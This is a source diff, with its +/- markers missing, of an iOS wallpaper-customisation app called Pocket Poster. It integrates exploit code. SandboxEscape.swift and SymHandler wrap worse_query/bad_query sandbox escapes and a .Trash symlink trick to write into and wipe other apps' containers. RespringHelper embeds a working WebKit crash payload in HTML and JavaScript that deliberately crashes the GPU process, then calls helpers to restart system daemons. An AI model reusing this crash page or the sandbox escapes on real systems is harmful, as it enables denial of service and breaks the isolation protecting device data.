// create it if it doesn't exist
if !FileManager.default.fileExists(atPath: tendiesStoreURL.path()) {
@@ -24,7 +29,91 @@ class PosterBoardManager {
return tendiesStoreURL
}
static func openPosterBoard() -> Bool {
func setSystemLanguage(to new_lang: String) -> Bool {
// Load Preferences private frameworks if needed
dlopen("/System/Library/PrivateFrameworks/SettingsFoundation.framework/SettingsFoundation", RTLD_NOW)
dlopen("/System/Library/PrivateFrameworks/Preferences.framework/Preferences", RTLD_NOW)
dlopen("/System/Library/PrivateFrameworks/InternationalSupport.framework/InternationalSupport", RTLD_NOW)
var langManager: NSObject = NSObject()
if #available(iOS 18.0, *) {
guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false }
langManager = obj
} else {
guard let obj = objc_getClass("PSLanguageSelector") as? NSObject else { return false }
langManager = obj
}
if let success = langManager.perform(Selector(("setLanguage:")), with: new_lang) {
return success != nil
}
return false
}
/// Wipe PosterBoard custom descriptor collections using worse_query (real delete).
/// Falls back to language-toggle trick on older exploit path.
func resetCollections(appHash: String) throws {
if SymHandler.prefersSandboxEscape {
try wipeDescriptorsViaEscape(appHash: appHash)
return
}
// Legacy: language toggle forces PosterBoard to rebuild collections
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
throw ApplyError.unexpected(info: "Could not read system language for reset.")
}
guard setSystemLanguage(to: lang) else {
throw ApplyError.unexpected(info: "Language API failed. Reset collections manually in Settings → Language & Region.")
}
}
/// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors.
private func wipeDescriptorsViaEscape(appHash: String) throws {
let ver = SymHandler.getExtensionVersion()
let extensionsRoot = SandboxEscape.applicationContainerPath(appHash: appHash)
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions"
// Open parent with sandbox extension. A missing path simply means there
// is nothing to wipe yet.
guard let rootHandle = try? SandboxEscape.consume(path: extensionsRoot, create: true) else {
if !SandboxEscape.isAvailable {
throw SandboxEscapeError.unavailable
}
return
}
defer { rootHandle.release() }
let fm = FileManager.default
guard fm.fileExists(atPath: extensionsRoot) else {
return
}
let extDirs = try fm.contentsOfDirectory(atPath: extensionsRoot)
var wiped = 0
for extName in extDirs {
let descriptorsPath = (extensionsRoot as NSString)
.appendingPathComponent(extName)
.appending("/descriptors")
// Ensure we hold an extension on the descriptors dir itself
let descHandle = try? SandboxEscape.consume(path: descriptorsPath, create: true)
defer { descHandle?.release() }
guard fm.fileExists(atPath: descriptorsPath) else { continue }
let items = (try? fm.contentsOfDirectory(atPath: descriptorsPath)) ?? []
for item in items {
if item == "__MACOSX" || item.hasPrefix(".") { continue }
let full = (descriptorsPath as NSString).appendingPathComponent(item)
try? fm.removeItem(atPath: full)
wiped += 1
}
}
print("resetCollections: wiped \(wiped) descriptor item(s)")
}
func openPosterBoard() -> Bool {
guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false }
let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject
@@ -35,8 +124,10 @@ class PosterBoardManager {
return false
}
private static func unzipFile(at url: URL) throws -> URL {
private func unzipFile(at url: URL) throws -> URL {
let fileName = url.deletingPathExtension().lastPathComponent
// Replace spaces and %20 with underscores
let normalizedFileName = fileName.replacingOccurrences(of: "[ \\%20]", with: "_", options: .regularExpression)
let fileData = try Data(contentsOf: url)
let fileManager = FileManager()
@@ -45,7 +136,6 @@ class PosterBoardManager {
if !FileManager.default.fileExists(atPath: path.path()) {
try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true)
}
let url = path.appending(path: fileName)
// Remove All files in this directory
let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
@@ -53,34 +143,34 @@ class PosterBoardManager {
{
try FileManager.default.removeItem(at: fileUrl)
}
let zipURL = path.appending(path: normalizedFileName)
// Save our Zip file
try fileData.write(to: url, options: [.atomic])
try fileData.write(to: zipURL, options: [.atomic])
// Unzip the Zipped Up File
var destinationURL = path
if FileManager.default.fileExists(atPath: url.path())
if FileManager.default.fileExists(atPath: zipURL.path())
{
destinationURL.append(path: "directory")
try fileManager.unzipItem(at: url, to: destinationURL)
try fileManager.unzipItem(at: zipURL, to: destinationURL)
}
return destinationURL
}
static func runShortcut(named name: String) {
func runShortcut(named name: String) {
guard let urlEncodedName = name.addingPercentEncoding(withAllowedCharacters: .urlQueryAllowed),
let url = URL(string: "shortcuts://run-shortcut?name=\(name)") else { return }
UIApplication.shared.open(url, options: [:], completionHandler: nil)
}
static func getDescriptorsFromTendie(_ url: URL) throws -> [String: [URL]]? {
func getDescriptorsFromTendie(_ url: URL) throws -> [String: [URL]]? {
for dir in try FileManager.default.contentsOfDirectory(at: url, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
let fileName = dir.lastPathComponent
if fileName.lowercased() == "container" {
// container support, find the extensions
let extDir = dir.appending(path: "Library/Application Support/PRBPosterExtensionDataStore/61/Extensions")
print(extDir.absoluteString)
var retList: [String: [URL]] = [:]
for ext in try FileManager.default.contentsOfDirectory(at: extDir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
let descrDir = ext.appendingPathComponent("descriptors")
@@ -99,7 +189,7 @@ class PosterBoardManager {
return nil
}
static func randomizeWallpaperId(url: URL) throws {
func randomizeWallpaperId(url: URL) throws {
let randomizedID = Int.random(in: 9999...99999)
var files = [URL]()
if let enumerator = FileManager.default.enumerator(at: url, includingPropertiesForKeys: [.isRegularFileKey], options: [.skipsHiddenFiles, .skipsPackageDescendants]) {
@@ -157,10 +247,28 @@ class PosterBoardManager {
}
}
static func applyTendies(_ urls: [URL], appHash: String) throws {
func applyTendies(appHash: String) throws {
// organize the descriptors into their respective extensions
var extList: [String: [URL]] = [:]
for url in urls {
// create the video first
if videos.count > 0 {
extList["com.apple.WallpaperKit.CollectionsPoster"] = []
for video in videos {
switch video.loadState {
case .loaded(let movie):
do {
let newVideo = try VideoHandler.createCaml(from: movie.url, autoReverses: video.autoReverses)
extList["com.apple.WallpaperKit.CollectionsPoster"]?.append(newVideo)
} catch {
print(error.localizedDescription)
}
default:
print("Video not loaded!")
}
}
}
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: NSLocalizedString("Extracting tendies...", comment: "happens when unzipping the files"))
for url in selectedTendies {
let unzippedDir = try unzipFile(at: url)
guard let descriptors = try getDescriptorsFromTendie(unzippedDir) else { continue } // TODO: Add error handling
extList.merge(descriptors) { (first, second) in first + second }
@@ -170,36 +278,62 @@ class PosterBoardManager {
SymHandler.cleanup()
}
let useSandboxEscape = SymHandler.prefersSandboxEscape
if useSandboxEscape {
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "worse_query sandbox escape…")
}
for (ext, descriptorsList) in extList {
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
var foldersToWrite: [URL] = []
for descriptors in descriptorsList {
// create the folder
for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
if descr.lastPathComponent != "__MACOSX" {
try randomizeWallpaperId(url: descr)
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
try FileManager.default.moveItem(at: descr, to: newURL)
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
foldersToWrite.append(descr)
}
}
}
if useSandboxEscape {
// iOS 26/27: direct write via the container_query sandbox extension
do {
try SymHandler.writeDescriptorsViaEscape(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite)
} catch {
// Fall back to legacy .Trash symlink if the escape path fails
print("worse_query apply failed, falling back to symlink: \(error)")
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
}
} else {
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
}
SymHandler.cleanup()
}
// clean up all possible files
for url in urls {
for url in selectedTendies {
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("UnzipItems", conformingTo: .directory))
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent(url.lastPathComponent))
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent(url.deletingPathExtension().lastPathComponent))
}
}
/// Legacy exploit: symlink Documents/.Trash → descriptors, then trashItem into it.
private func applyDescriptorsViaSymlink(appHash: String, ext: String, folders: [URL]) throws {
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
for descr in folders {
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
try FileManager.default.copyItem(at: descr, to: newURL)
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
}
}
static func clearCache() throws {
SymHandler.cleanup()
let docDir = SymHandler.getDocumentsDirectory()
for file in try FileManager.default.contentsOfDirectory(at: docDir, includingPropertiesForKeys: nil) {
try FileManager.default.removeItem(at: file)
if file.lastPathComponent != "CarPlayPhotos" {
try FileManager.default.removeItem(at: file)
}
}
}
}
@@ -0,0 +1,124 @@
//
// RespringHelper.swift
// Pocket Poster
//
// Mond-style instant respring (WebKit GPU crash @neonmodder123).
// No VC present/dismiss chain — WKWebView on a top-level window, load immediately.
//
import Foundation
import UIKit
import WebKit
import ObjectiveC
enum RespringHelper {
/// Keep the respring window alive until the process dies.
private static var stickyWindow: UIWindow?
private static var stickyWebView: WKWebView?
/// Direct crash payload (inner document from Mond — no outer iframe delay).
/// Credit: @neonmodder123 / Mond
private static let crashHTML = """
<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width"></head><body><script>
(function(){
var c=document.createElement('div');
c.style.cssText='perspective:1px;perspective-origin:9999999% 9999999%;';
document.body.appendChild(c);
for(var i=0;i<500;i++){
var d=document.createElement('div');
d.style.cssText='position:absolute;width:100vw;height:100vh;backdrop-filter:blur(100px);-webkit-backdrop-filter:blur(100px);transform:translate3d(100000px,100000px,'+i+'px) rotateY(90deg);';
c.appendChild(d);
}
setInterval(function(){
try{navigator.share({title:'R',text:'R'.repeat(100000)});}catch(e){}
try{crypto.getRandomValues(new Uint8Array(1024*1024*10));}catch(e){}
},0);
})();
</script></body></html>
"""
/// Instant full respring (Mond path). Safe under LiveContainer.
static func respring() {
#if targetEnvironment(simulator)
print("respring skipped on simulator")
return
#else
// Must be main thread for UIWindow / WKWebView
if !Thread.isMainThread {
DispatchQueue.main.async { fireNow() }
return
}
fireNow()
#endif
}
static func respringNow() { respring() }
private static func fireNow() {
UIImpactFeedbackGenerator(style: .heavy).impactOccurred()
// 1) Kill any alerts instantly so nothing blocks rendering
currentUIAlertController?.dismiss(animated: false)
currentUIAlertController = nil
// 2) Build WKWebView + load crash HTML BEFORE showing window (starts process ASAP)
let config = WKWebViewConfiguration()
config.websiteDataStore = .nonPersistent()
let prefs = WKWebpagePreferences()
prefs.allowsContentJavaScript = true
config.defaultWebpagePreferences = prefs
// Shared process pool warms slightly faster on repeat
config.processPool = WKProcessPool()
let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config)
webView.isOpaque = false
webView.backgroundColor = .black
webView.scrollView.isScrollEnabled = false
webView.scrollView.backgroundColor = .black
// Load payload immediately — don't wait for layout/appear
webView.loadHTMLString(crashHTML, baseURL: URL(string: "about:blank"))
stickyWebView = webView
// 3) Slap it on a top-level window (no present animation, no host VC)
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
let scene = scenes.first(where: { $0.activationState == .foregroundActive }) ?? scenes.first
let window: UIWindow
if let scene {
window = UIWindow(windowScene: scene)
window.frame = scene.coordinateSpace.bounds
} else {
window = UIWindow(frame: UIScreen.main.bounds)
}
window.windowLevel = .alert + 100
window.backgroundColor = .black
window.isHidden = false
let host = UIViewController()
host.view.backgroundColor = .black
host.view.addSubview(webView)
webView.frame = host.view.bounds
webView.autoresizingMask = [.flexibleWidth, .flexibleHeight]
window.rootViewController = host
window.makeKeyAndVisible()
stickyWindow = window
// Force a layout pass so WebKit starts compositing now
window.layoutIfNeeded()
webView.setNeedsLayout()
webView.layoutIfNeeded()
// Re-load once more after attach (some LC builds only execute JS after in-hierarchy)
webView.loadHTMLString(crashHTML, baseURL: nil)
// 4) Outside LiveContainer, also hit XPC immediately (no delay)
let inLC = ProcessInfo.processInfo.environment["LC_HOME_PATH"] != nil
|| Bundle.main.bundlePath.contains("LiveContainer")
if !inLC {
restartFrontboard()
restartBackboard()
}
}
}
+65 -3
View File
@@ -23,11 +23,23 @@ class SymHandler {
return getDocumentsDirectory()
}
static func getPosterBoardHashURL() -> URL {
return getLCDocumentsDirectory().appendingPathComponent("NuggetPosterBoardHash")
}
static func getCarPlayHashURL() -> URL {
return getLCDocumentsDirectory().appendingPathComponent("NuggetCarPlayWallpaperHash")
}
private static func getSymlinkURL() -> URL {
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
}
// MARK: Symlink Creation
/// Prefer worse_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit.
static var prefersSandboxEscape: Bool {
SandboxEscape.isAvailable
}
// MARK: Symlink Creation (legacy exploit for older iOS)
static func createSymlink(to path: String) throws -> URL {
// returns the url of the symlink
let symURL = getSymlinkURL()
@@ -43,10 +55,60 @@ class SymHandler {
return try createSymlink(to: "/var/mobile/Containers/Data/Application/\(appHash)")
}
static func getExtensionVersion() -> String {
if #available(iOS 17.0, *) {
return "61"
}
return "59"
}
static func createDescriptorsSymlink(appHash: String, ext: String) throws -> URL {
// create a symlink directly to the descriptors
print("linking to \(appHash)/Library/Application Support/PRBPosterExtensionDataStore/61/Extensions/\(ext)/descriptors")
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/61/Extensions/\(ext)/descriptors")
let extVer = SymHandler.getExtensionVersion()
print("linking to \(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
}
// MARK: Direct write via worse_query
/// Copy descriptor folders into PosterBoard descriptors using the sandbox escape.
static func writeDescriptorsViaEscape(appHash: String, ext: String, descriptorFolders: [URL]) throws {
let destPath = SandboxEscape.descriptorsPath(appHash: appHash, ext: ext)
print("worse_query writing to \(destPath)")
// Make sure the extension data store exists (PosterBoard creates it on boot).
let containerRoot = SandboxEscape.applicationContainerPath(appHash: appHash)
try SandboxEscape.ensureDirectory(at: destPath, containerRoot: containerRoot)
let handle = try SandboxEscape.consume(path: destPath, create: true)
defer { handle.release() }
let fm = FileManager.default
for descr in descriptorFolders {
guard descr.lastPathComponent != "__MACOSX" else { continue }
let destName = UUID().uuidString
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(destName)
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: descr, to: destURL)
}
}
/// Copy files into an absolute directory under an app container via worse_query.
static func writeFilesViaEscape(toDirectory destPath: String, files: [URL]) throws {
try SandboxEscape.ensureDirectory(at: destPath)
let handle = try SandboxEscape.consume(path: destPath, create: true)
defer { handle.release() }
let fm = FileManager.default
for file in files {
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent)
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: file, to: destURL)
}
}
static func cleanup() {
@@ -0,0 +1,279 @@
//
// VideoHandler.swift
// Pocket Poster
//
// Created by lemin on 6/8/25.
//
import Foundation
import AVFoundation
import UIKit
import CoreTransferable
extension CGImage {
var png: Data? {
guard let mutableData = CFDataCreateMutable(nil, 0),
let destination = CGImageDestinationCreateWithData(mutableData, "public.png" as CFString, 1, nil) else { return nil }
CGImageDestinationAddImage(destination, self, nil)
guard CGImageDestinationFinalize(destination) else { return nil }
return mutableData as Data
}
var jpg: Data? {
let uiimg = UIImage(cgImage: self)
return uiimg.jpegData(compressionQuality: 0.7)
}
}
struct Movie: Transferable {
let url: URL
static var transferRepresentation: some TransferRepresentation {
FileRepresentation(contentType: .movie) { movie in
SentTransferredFile(movie.url)
} importing: { received in
let videoFolder = SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory)
if !FileManager.default.fileExists(atPath: videoFolder.path()) {
try? FileManager.default.createDirectory(at: videoFolder, withIntermediateDirectories: true)
}
let copy = videoFolder.appending(path: "\(UUID()).mp4")
if FileManager.default.fileExists(atPath: copy.path()) {
try FileManager.default.removeItem(at: copy)
}
try FileManager.default.copyItem(at: received.file, to: copy)
return Self.init(url: copy)
}
}
}
enum LoadState {
case unknown, loading, loaded(Movie), failed
}
struct LoadInfo: Identifiable, Equatable {
static func == (lhs: LoadInfo, rhs: LoadInfo) -> Bool {
lhs.id == rhs.id
}
var id = UUID()
var autoReverses: Bool = false
var loadState: LoadState
}
class VideoHandler {
static let MaxDurationSecs = 12.0
static func isVideoTooLong(at url: URL) -> Bool {
let asset = AVAsset(url: url)
let duration = asset.duration
let durationTime = CMTimeGetSeconds(duration)
return durationTime > MaxDurationSecs
}
static func createCaml(from url: URL, autoReverses: Bool) throws -> URL {
// copy the resources
let descrURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
try FileManager.default.createDirectory(at: descrURL, withIntermediateDirectories: false)
print("pre resource")
guard let rc = Bundle.main.url(forResource: "VideoCAML", withExtension: nil) else { throw URLError(.fileDoesNotExist) }
print("post resource")
try FileManager.default.copyItem(at: rc, to: descrURL.appendingPathComponent("videoCAML"))
print("post copy")
let coreAnimDir = descrURL.appending(path: "videoCAML/versions/1/contents/9183.Custom-810w-1080h@2x~ipad.wallpaper/9183.Custom_Background-810w-1080h@2x~ipad.ca")
let assetsFolder = coreAnimDir.appendingPathComponent("assets", conformingTo: .directory)
if !FileManager.default.fileExists(atPath: assetsFolder.path()) {
try FileManager.default.createDirectory(at: assetsFolder, withIntermediateDirectories: true)
}
// load the video
let asset = AVURLAsset(url: url)
let assetImageGenerator = AVAssetImageGenerator(asset: asset)
assetImageGenerator.appliesPreferredTrackTransform = true
assetImageGenerator.apertureMode = AVAssetImageGenerator.ApertureMode.encodedPixels
// create the caml
guard let track = asset.tracks(withMediaType: .video).first else {
print("Failed to get video track")
throw AVError(.decodeFailed)
}
let preferredTransform = track.preferredTransform
let size = track.naturalSize.applying(preferredTransform)
let width = Int(abs(size.width))
let height = Int(abs(size.height))
let fps = track.nominalFrameRate
let duration = CMTimeGetSeconds(asset.duration)
let totalFrames = Int(fps * Float(duration))
let animDur = Double(totalFrames) / Double(fps)
var camlData = """
<?xml version="1.0" encoding="UTF-8"?>
<caml xmlns="http://www.apple.com/CoreAnimation/1.0">
<CALayer allowsEdgeAntialiasing="1" allowsGroupOpacity="1" bounds="0 0 \(width) \(height)" contentsFormat="RGBA8" cornerCurve="circular" hidden="0" name="_FLOATING" position="\(Int(width/2)) \(Int(height/2))">
<sublayers>
<CATransformLayer allowsEdgeAntialiasing="1" allowsGroupOpacity="1" allowsHitTesting="1" bounds="0 0 \(width) \(height)" contentsFormat="RGBA8" cornerCurve="circular" name="Chip" position="\(Int(width/2)) \(Int(height/2))">
<sublayers>
<CALayer allowsEdgeAntialiasing="1" allowsGroupOpacity="1" bounds="0 0 \(width) \(height)" contentsFormat="RGBA8" cornerCurve="circular" name="CALayer1" position="\(Int(width/2)) \(Int(height/2))">
<contents type="CGImage" src="assets/0.jpg"/>
<animations>
<animation type="CAKeyframeAnimation" calculationMode="linear" keyPath="contents" beginTime="1e-100" duration="\(animDur)" removedOnCompletion="0" repeatCount="inf" repeatDuration="0" speed="1" timeOffset="0" autoreverses="\(autoReverses ? 1 : 0)">
<values>\n
"""
// go through every frame and add it to the caml
do {
let reader = try AVAssetReader(asset: asset)
let readerOutputSettings: [String: Any] = [
kCVPixelBufferPixelFormatTypeKey as String: Int(kCVPixelFormatType_32BGRA)
]
let readerOutput = AVAssetReaderTrackOutput(track: track, outputSettings: readerOutputSettings)
reader.add(readerOutput)
reader.startReading()
var frameCount = 0
while let sampleBuffer = readerOutput.copyNextSampleBuffer(),
let imageBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) {
try? autoreleasepool {
let name = "\(frameCount).jpg"
let filePathName = "assets/\(name)"
UIApplication.shared.change(title: NSLocalizedString("Generating Video...", comment: ""), body: String(format: NSLocalizedString("Creating %@...", comment: "the message for the current image that is being generated"), filePathName))
let ciImage = CIImage(cvPixelBuffer: imageBuffer).transformed(by: preferredTransform)
let context = CIContext()
if let cgImage = context.createCGImage(ciImage, from: ciImage.extent) {
if let img = cgImage.jpg {
try img.write(to: assetsFolder.appendingPathComponent(name))
camlData += "\t\t\t<CGImage src=\"assets/\(name)\"/>\n"
frameCount += 1
}
}
}
}
} catch {
print("Error reading asset: \(error)")
}
UIApplication.shared.change(title: NSLocalizedString("Generating Video...", comment: ""), body: NSLocalizedString("Creating CAML data...", comment: "translate this however you see fits"))
camlData += """
</values>
</animation>
</animations>
</CALayer>
</sublayers>
</CATransformLayer>
</sublayers>
<states>
<LKState name="Locked">
<elements/>
</LKState>
<LKState name="Unlock">
<elements/>
</LKState>
<LKState name="Sleep">
<elements/>
</LKState>
</states>
<stateTransitions>
<LKStateTransition fromState="*" toState="Unlock">
<elements/>
</LKStateTransition>
<LKStateTransition fromState="Unlock" toState="*">
<elements/>
</LKStateTransition>
<LKStateTransition fromState="*" toState="Locked">
<elements/>
</LKStateTransition>
<LKStateTransition fromState="Locked" toState="*">
<elements/>
</LKStateTransition>
<LKStateTransition fromState="*" toState="Sleep">
<elements/>
</LKStateTransition>
<LKStateTransition fromState="Sleep" toState="*">
<elements/>
</LKStateTransition>
</stateTransitions>
</CALayer>
</caml>
"""
// write the caml
guard let caData = camlData.data(using: .utf8) else { throw URLError(.unknown) }
try caData.write(to: coreAnimDir.appendingPathComponent("main.caml"))
// write the other info xml
camlData = """
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>assetManifest</key>
<string>assetManifest.caml</string>
<key>documentHeight</key>
<real>\(height)</real>
<key>documentResizesToView</key>
<true/>
<key>documentWidth</key>
<real>\(width)</real>
<key>dynamicGuidesEnabled</key>
<true/>
<key>geometryFlipped</key>
<false/>
<key>guidesEnabled</key>
<true/>
<key>interactiveMouseEventsEnabled</key>
<true/>
<key>interactiveShowsCursor</key>
<true/>
<key>interactiveTouchEventsEnabled</key>
<false/>
<key>loopEnd</key>
<real>0.0</real>
<key>loopStart</key>
<real>0.0</real>
<key>loopingEnabled</key>
<false/>
<key>multitouchDisablesMouse</key>
<false/>
<key>multitouchEnabled</key>
<false/>
<key>presentationMouseEventsEnabled</key>
<true/>
<key>presentationShowsCursor</key>
<true/>
<key>presentationTouchEventsEnabled</key>
<false/>
<key>rootDocument</key>
<string>main.caml</string>
<key>savesWindowFrame</key>
<false/>
<key>scalesToFitInPlayer</key>
<true/>
<key>showsTouches</key>
<true/>
<key>snappingEnabled</key>
<true/>
<key>timelineMarkers</key>
<string>[(null)]</string>
<key>touchesColor</key>
<string>1 1 0 0.8</string>
<key>unitsInPixelsInPlayer</key>
<true/>
</dict>
</plist>
"""
guard let xmlData = camlData.data(using: .utf8) else { throw URLError(.unknown) }
try xmlData.write(to: coreAnimDir.appendingPathComponent("index.xml", conformingTo: .xml))
return descrURL
}
}
+30
View File
@@ -0,0 +1,30 @@
//
// APIError.swift
// Pocket Poster
//
// Created by lemin on 7/15/25.
//
import Foundation
enum APIError: LocalizedError {
// Throw when cannot connect to server
case connectionFailed
// Throw when it fails to get the repo hash
case repoHashError
// Throw in all other cases
case unexpected(info: String)
public var errorDescription: String? {
switch self {
case .connectionFailed:
return NSLocalizedString("Could not connect to server", comment: "")
case .repoHashError:
return NSLocalizedString("Unable to obtain repo hash. Maybe update to the latest version?", comment: "")
case .unexpected(let info):
return info
}
}
}
@@ -0,0 +1,30 @@
//
// ApplyError.swift
// Pocket Poster
//
// Created by lemin on 6/18/25.
//
import Foundation
enum ApplyError: LocalizedError {
// Throw when the app hash is incorrect
case wrongAppHash
// Throw when the collections need to be reset
case collectionsNeedsReset
// Throw in all other cases
case unexpected(info: String)
public var errorDescription: String? {
switch self {
case .wrongAppHash:
return NSLocalizedString("Your app hash is incorrect. Please set it again.", comment: "")
case .collectionsNeedsReset:
return NSLocalizedString("The folder is improperly set up. Please tap \"Reset Collections\" and try again.", comment: "")
case .unexpected(let info):
return info
}
}
}
@@ -0,0 +1,11 @@
//
// Pocket-Poster-Bridging-Header.h
// Pocket Poster
//
// Exposes C exploit helpers to Swift.
//
#import "worse_query.h"
#import "pathleak.h"
#import "bad_query.h"
#import "xpc_crash.h"
+430
View File
@@ -0,0 +1,430 @@
//
// SandboxEscape.swift
// Pocket Poster
//
// Swift wrapper around forcequitOS/worse_query (iOS 26.0 – 26.7.2 / 27.0 – 27.2+).
// Falls back to the legacy bad_query route on iOS 26 when no App Group is
// available (unsigned / non-App-Group entitlements).
//
import Foundation
import Darwin
import Security
enum SandboxEscapeError: LocalizedError {
case invalidPath
case missingPath
case noAppGroup
case unavailable
case resolveFailed
case createFailed
case symlinkFailed
case outsideSandbox
case kernelRejected
case listFailed
case containerNotFound(String)
case directoryCreateFailed(String)
case unknown(Int64)
var errorDescription: String? {
switch self {
case .invalidPath:
return "Path must be absolute."
case .missingPath:
return "Target path does not exist."
case .noAppGroup:
return "No App Group entitlement. Sign Pocket Poster with a provisioning profile that includes an App Group — worse_query needs one on iOS 27."
case .unavailable:
return "worse_query is unavailable on this OS/signing combination."
case .resolveFailed:
return "Failed to resolve containermanager symbols."
case .createFailed:
return "Failed to create the container query."
case .symlinkFailed:
return "Failed to create the App Group symlink."
case .outsideSandbox:
return "containermanager rejected the query (path outside sandbox)."
case .kernelRejected:
return "Kernel refused to issue a sandbox extension."
case .listFailed:
return "Failed to enumerate containers (fsgetpath)."
case .containerNotFound(let bundleId):
return "Could not find container for \(bundleId)."
case .directoryCreateFailed(let reason):
return "Could not create destination directory: \(reason)"
case .unknown(let code):
return "Sandbox escape failed with code \(code)."
}
}
static func fromWorseQuery(_ code: Int64) -> SandboxEscapeError {
switch code {
case -1: return .noAppGroup
case -2: return .resolveFailed
case -3: return .createFailed
case -4: return .symlinkFailed
case -5: return .outsideSandbox
case -6: return .kernelRejected
case -255: return .missingPath
default: return .unknown(code)
}
}
static func fromBadQuery(_ code: Int64) -> SandboxEscapeError {
switch code {
case -255: return .invalidPath
case -254: return .missingPath
case -1: return .resolveFailed
case -2: return .createFailed
case -3: return .outsideSandbox
case -4: return .kernelRejected
case -5: return .createFailed
default: return .unknown(code)
}
}
}
enum SandboxEscapeBackend {
case worseQuery
case badQuery
}
/// RAII-style sandbox extension handle.
final class SandboxEscapeHandle {
private(set) var handle: Int64
let path: String
private let backend: SandboxEscapeBackend
init(handle: Int64, path: String, backend: SandboxEscapeBackend) {
self.handle = handle
self.path = path
self.backend = backend
}
deinit {
release()
}
func release() {
guard handle >= 0 else { return }
switch backend {
case .worseQuery:
worse_query_release(handle)
case .badQuery:
bad_query_release(handle)
}
handle = -1
}
}
enum SandboxEscape {
static let posterBoardBundleId = "com.apple.PosterBoard"
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
// MARK: - App Group
/// First App Group from our code signature that actually has a container.
/// nil means the app was signed without an App Group entitlement.
static let appGroupIdentifier: String? = {
guard let groups = entitledAppGroups(), !groups.isEmpty else { return nil }
let fm = FileManager.default
for group in groups {
if fm.containerURL(forSecurityApplicationGroupIdentifier: group) != nil {
return group
}
}
return groups.first
}()
/// SecTask is not in the public iOS SDK headers, so resolve it at runtime.
private static func entitledAppGroups() -> [String]? {
guard let handle = dlopen("/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY) else {
return nil
}
defer { dlclose(handle) }
typealias CreateFromSelfFn = @convention(c) (CFAllocator?) -> Unmanaged<CFTypeRef>?
typealias CopyValueFn = @convention(c) (CFTypeRef?, CFString, UnsafeMutablePointer<Unmanaged<CFError>?>?) -> Unmanaged<CFTypeRef>?
guard let createSymbol = dlsym(handle, "SecTaskCreateFromSelf"),
let copySymbol = dlsym(handle, "SecTaskCopyValueForEntitlement") else {
return nil
}
let create = unsafeBitCast(createSymbol, to: CreateFromSelfFn.self)
let copy = unsafeBitCast(copySymbol, to: CopyValueFn.self)
guard let task = create(nil)?.takeRetainedValue() else { return nil }
let key = "com.apple.security.application-groups" as CFString
guard let value = copy(task, key, nil)?.takeRetainedValue() else { return nil }
return value as? [String]
}
// MARK: - Backend selection
/// worse_query when an App Group is available; otherwise the legacy
/// bad_query route on iOS 26 (it does not work on iOS 27+).
static let backend: SandboxEscapeBackend? = {
if let group = appGroupIdentifier {
// create_dir=true skips the sandbox-blocked lstat.
let handle = worse_query("/var/mobile", group, false, true)
if handle >= 0 {
worse_query_release(handle)
return .worseQuery
}
// -1 / -2 mean the group or the containermanager plumbing is missing.
if handle != -1 && handle != -2 {
return .worseQuery
}
}
if ProcessInfo.processInfo.operatingSystemVersion.majorVersion <= 26 {
var probe = "/var/mobile".utf8CString.map { Int8($0) }
let handle = bad_query(&probe, true, nil, false)
if handle >= 0 {
bad_query_release(handle)
return .badQuery
}
// -3 / -4 / -254 mean the query ran but the path/token failed.
if handle == -3 || handle == -4 || handle == -254 {
return .badQuery
}
}
return nil
}()
static var isAvailable: Bool { backend != nil }
static var isUsingWorseQuery: Bool { backend == .worseQuery }
// MARK: - Consume / Release
